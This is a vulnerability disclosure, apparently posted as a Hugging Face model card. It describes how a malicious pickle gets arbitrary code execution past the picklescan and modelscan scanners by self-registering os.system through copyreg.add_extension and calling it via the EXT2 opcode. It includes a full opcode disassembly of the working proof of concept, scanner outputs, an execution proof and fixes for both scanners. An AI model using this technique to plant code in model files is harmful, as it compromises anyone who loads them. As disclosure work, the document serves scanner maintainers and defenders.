YAML Metadata Warning:empty or missing yaml metadata in repo card

Check out the documentation for more information.

Pickle scanner bypass β€” arbitrary code execution via the EXT (extension-registry) opcodes + self-registering copyreg.add_extension, undetected by both picklescan and modelscan

Summary

A malicious pickle can execute an arbitrary OS command on load while both industry-standard ML model scanners β€” picklescan 1.0.4 (Protect AI) and modelscan 0.8.8 (Protect AI / HiddenLayer) β€” report it completely clean. The bypass abuses a pickle opcode class that neither scanner inspects: the extension registry opcodes EXT1 / EXT2 / EXT4 (PEP 307 / copyreg).

Both scanners detect dangerous callables by harvesting the GLOBAL / STACK_GLOBAL / INST opcodes and matching the resulting module.name against a blocklist. The EXT* opcodes do not carry a module/name pair β€” they carry a single integer extension code that the unpickler resolves to a (module, name) through the process-global copyreg._inverted_registry. The scanners never look at EXT* opcodes, so a dangerous callable referenced by extension code is invisible to them.

Normally this would require the dangerous code to be pre-registered in the victim's interpreter (it is not, by default). The PoC removes that precondition by making the pickle register the gadget itself, in-stream, via copyreg.add_extension β€” which is not on either scanner's blocklist:

  1. Phase 1 (self-register): STACK_GLOBAL copyreg.add_extension + REDUCE β†’ copyreg.add_extension('os', 'system', 43981) registers os.system at extension code 43981.
  2. Phase 2 (invoke): EXT2 43981 pushes os.system onto the stack; REDUCE calls it with an attacker string.

The only global that appears anywhere in the stream is copyreg.add_extension (benign-looking, un-blocklisted). The strings 'os' and 'system' appear only as SHORT_BINUNICODE string data, never as an import. There is no os.system global for the scanners to find. The result is a self-contained, precondition-free RCE on pickle.load of an untrusted model.

Affected / verified versions

  • picklescan 1.0.4 (latest; post-dates the 0.0.31 fixes for CVE-2025-10155/10156/10157)
  • modelscan 0.8.8 (latest)
  • CPython 3.12.3 (mechanism is stdlib pickle; version-independent)

Root cause

picklescan scanner.py β€” _list_globals() collects only GLOBAL / STACK_GLOBAL / INST opcodes and matches their module.name against _unsafe_globals. The EXT1/EXT2/EXT4 opcodes are never examined, and copyreg (specifically copyreg.add_extension) is absent from _unsafe_globals.

modelscan modelscan/tools/picklescanner.py β€” PickleUnsafeOpScan has the same model: it inspects global-import opcodes against unsafe_globals and has no EXT* / copyreg coverage.

When the unpickler hits EXT2 43981, pickle.Unpickler.get_extension() looks up copyreg._inverted_registry[43981] β†’ ('os','system') β†’ find_class('os','system') β†’ returns os.system, which the following REDUCE calls. None of that traverses an opcode the scanners audit.

Proof of concept

build_poc.py (attached) emits an 89-byte protocol-4 pickle. Disassembly (pickletools.dis) shows the only import is copyreg.add_extension; os/system are string data; the call is via EXT2 43981:

    0: \x80 PROTO      4
    2: \x8c SHORT_BINUNICODE 'copyreg'
   11: \x8c SHORT_BINUNICODE 'add_extension'
   26: \x93 STACK_GLOBAL                       <-- only global the scanners see
   27: (    MARK
   28: \x8c     SHORT_BINUNICODE 'os'           <-- string DATA, not an import
   32: \x8c     SHORT_BINUNICODE 'system'       <-- string DATA, not an import
   40: J        BININT     43981
   45: t        TUPLE
   46: R    REDUCE                              <-- copyreg.add_extension('os','system',43981)
   47: 0    POP
   48: \x83 EXT2       43981                    <-- pushes os.system (opcode NOT inspected)
   51: (    MARK
   52: \x8c     SHORT_BINUNICODE 'touch /tmp/EXT_COPYREG_PWNED.txt'
   86: t        TUPLE
   87: R    REDUCE                              <-- os.system('touch ...')
   88: .    STOP

Scanner output (both clean)

$ python -m picklescan -p malicious.pkl
----------- SCAN SUMMARY -----------
Scanned files: 1
Infected files: 0
Dangerous globals: 0
(exit 0)

$ modelscan -p malicious.pkl
Scanning malicious.pkl using modelscan.scanners.PickleUnsafeOpScan model scan
--- Summary ---
 No issues found! πŸŽ‰
(exit 0)

Control (proves the file format is actively scanned, not skipped): a normal os.system __reduce__ pickle of the same extension is caught by both β€” picklescan dangerous import 'posix system' FOUND / Infected files: 1; modelscan Use of unsafe operator 'system' from module 'posix' / Severity: CRITICAL / exit 1. So .pkl is fully parsed and scanned; the EXT pickle is scanned-but-clean β€” an opcode-logic bypass, not an extension/skip bypass.

Execution (fresh interpreter, no pre-registration)

$ python -c "import pickle,copyreg,os; \
  print('pre-registered?', 43981 in copyreg._inverted_registry); \
  pickle.load(open('malicious.pkl','rb')); \
  print('marker?', os.path.exists('/tmp/EXT_COPYREG_PWNED.txt'))"
pre-registered? False
marker? True

The marker file is created by os.system executed purely from the pickle stream, in an interpreter where the extension code was not previously registered.

Negative control β€” the same EXT2 without the copyreg.add_extension self-registration phase raises ValueError: unregistered extension code 43981, confirming that the in-stream self-registration is exactly what removes the precondition and makes this a precondition-free RCE.

Impact

Self-contained remote code execution when a victim loads an untrusted pickle-based model with a scanner-clean verdict from picklescan and/or modelscan β€” the two scanners that gate model uploads on Hugging Face and in ML CI/CD supply chains. No companion file, no prior process state, no non-default loader flag. Reached by any consumer of pickle.load / pickle.loads, including torch.load(..., weights_only=False), joblib.load, and numpy.load(allow_pickle=True). Delivered as a .pkl directly, or embedded as the data.pkl member of a .pt/.bin PyTorch zip archive (picklescan scans the inner pickle and still reports clean).

Remediation

  • picklescan: in _list_globals / the opcode walk, treat EXT1/EXT2/EXT4 as suspicious β€” resolve the code via copyreg._inverted_registry and blocklist-check the result, or flag any EXT* opcode outright. Add copyreg (add_extension) to _unsafe_globals.
  • modelscan: apply the same in PickleUnsafeOpScan β€” inspect EXT* opcodes and treat copyreg.add_extension as unsafe.

Dedup / novelty

Distinct from every disclosed picklescan/modelscan bypass:

  • CVE-2025-10155 (extension-mismatch skip), CVE-2025-10156 (zip bad-CRC), CVE-2025-10157 (subclass-of-flagged-module) β€” all fixed in 0.0.31; unrelated mechanisms.
  • The STACK_GLOBAL offset-0 arg-miscalculation bypass and the arXiv 2508.19774 "Art of Hide and Seek" set of 9 Exception-Oriented Programming bypasses are all parse-failure-treated-as-clean techniques (the scanner crashes/exits on a malformed stream). This finding is the opposite: the scanner parses the stream to completion successfully and finds no dangerous global, because the dangerous callable is referenced through an opcode class (EXT*) the scanner does not model and a registration function (copyreg.add_extension) it does not blocklist.
  • Not the compressed-joblib family (SiggytheShark / arXiv), not the file-extension-allowlist family.
  • Distinct from our own prior filings (pathlib/sqlite3 gadget; .pt2/.pte extension-skip) β€” here no os global is ever emitted and the .pkl is fully scanned.

A web search for picklescan/modelscan + EXT opcode / copyreg.add_extension / extension-registry bypass returns no prior disclosure.

Artifacts

  • build_poc.py β€” self-contained raw-opcode builder (benign touch <marker> payload).
  • malicious.pkl β€” 89-byte PoC (both scanners clean, executes on load).
  • model.pt β€” same pickle wrapped as a PyTorch zip archive (picklescan clean on the inner data.pkl).
Downloads last month

-

Downloads are not tracked for this model. How to track
Inference Providers NEW
This model isn't deployed by any Inference Provider. πŸ™‹ Ask for provider support